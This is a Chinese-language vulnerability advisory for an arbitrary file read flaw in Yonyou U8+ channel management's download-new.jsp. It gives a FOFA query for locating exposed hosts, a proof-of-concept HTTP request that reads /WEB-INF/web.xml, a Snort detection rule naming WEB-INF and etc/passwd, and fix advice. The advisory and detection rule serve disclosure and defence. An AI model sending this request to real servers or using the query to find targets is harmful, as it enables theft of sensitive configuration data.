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用友U8+渠道管理(高级版) download-new.jsp 任意文件读取漏洞

用友U8+渠道管理(高级版) download-new.jsp 任意文件读取漏洞,攻击者可进行文件读取,获取重要敏感配置信息。

影响版本

用友U8+

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值
利用难度

漏洞复现

FOFA:"common/images/dot.gif" && (icon_hash="737647198" || icon_hash="84729000")

POC/EXP:

GET /business/common/download-new.jsp?filename=&page=/WEB-INF/web.xml HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

image-20250805160829005

sonrt规则:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"Yonyou U8+ - Arbitrary File Read via download-new.jsp";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/business/common/download-new.jsp"; http_uri;
    content:"page="; http_uri;
    pcre:"/page=\/[^&]*(WEB-INF|etc\/passwd)/i";
    metadata:service http;
    metadata:affected_product "用友U8+渠道管理系统";
    metadata:vulnerability_type "Directory Traversal";
    classtype:web-application-attack;
    sid:1000401;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。